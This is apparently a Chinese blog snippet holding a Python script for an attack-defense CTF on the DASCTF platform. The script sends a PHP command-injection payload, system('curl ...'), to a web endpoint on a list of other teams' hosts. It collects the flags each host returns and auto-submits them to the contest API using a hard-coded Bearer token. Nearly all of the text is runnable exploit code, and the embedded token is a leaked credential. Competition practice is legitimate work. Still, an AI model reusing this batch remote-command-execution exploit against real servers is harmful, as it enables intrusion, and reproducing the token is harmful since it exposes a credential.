先在python中获取库requests # _*_ coding:utf-8 _*_ import requests, re # 从网址(网址自己可以随便在网上获取) https://cloud.dasctf.com/375/competePage/530 可知 match_id=375 MATCH_ID = "945" # 登录后通过抓取请求包可得 authorization 认证字段值 authorization = "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC91c2VyXC9yYW5nZS11c2VyXC9hcGlcL2lubmVyXC9hdXRoIiwiaWF0IjoxNjk3MjY1OTMyLCJleHAiOjE2OTc0ODM2MjgsIm5iZiI6MTY5NzI2NzYyOCwianRpIjoiN0pOZnV2OFI1WnFCbU9DcCIsInN1YiI6NzE1OTQsInBydiI6IjM3YjdjNTBiMjUwNDFhNGMyMGZlNDdjMjQyZTFiZmQwZjYzMDkyYzUiLCJzbGFiLW1hdGNoXzk0NSI6NzE1OTQsImxvZ2luX3Rva2VuIjoiN2Q5MDkzYmUxYjBhMGJmN2JkNDY0NDNiODhjNGQ4NmIiLCJndWFyZCI6InBsYXllciIsInVzZXJuYW1lIjoibnBjIn0.gdJaEMkrzCRDPWZ2V2TbvpQGT6mHujj38_S-TailSzQ" # 获取 flag 命令 # 118.24.11.89 为比赛平台获取flag的Server地址 # token中的10121为比赛平台自己的id cmd = 'curl 118.24.11.89/index.php?token=10121_USR-20231014-LF5xe' # 上述 token 中可知 exerciseId 为 10121 try: exerciseId = re.findall(r'token=(.*?)_USR', cmd)[0] print(exerciseId) except: print('exerciseId error!') exit(0) # ip 列表,可排除掉自身 # 数组中为比赛平台中所有队伍的ip地址 ip_list = ["集体所有队伍的IP地址"] def main(): print("正在获取靶机的flag:") flag_list = exp(ip_list) get_flag(flag_list) def exp(ip_list): flag_list = [] for ip in ip_list: url = f"http://{ip}/controllers/home.php" data = {"x": f"system('{cmd}');"} try: r = requests.post(url, data=data, timeout=3) except: continue print(f'ip={ip}\tres={r.text[:32]}') flag_list.append(r.text) return flag_list def get_flag(flag_list): header = { "matchId": MATCH_ID, "authorization": authorization, "Content-Type": "application/json;charset=UTF-8" } for flag in flag_list: url = "https://cloud.dasctf.com/slab-match/api/v1/player/answer-panel/answer" data = { "matchId": MATCH_ID, "exerciseId": exerciseId, "flag": flag } r = requests.post(url, json=data, headers=header) print(r.text) if __name__ == '__main__': # 输出格式为 ip= res=a4a5f66b707ce55b9cf735b8b97bd716 # ip为比赛中靶机的ip地址,res=后面的即为对应靶机的flag,在比赛平台找对应的靶机flag对话框提交即可 main()
01-12
2987
![](https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png)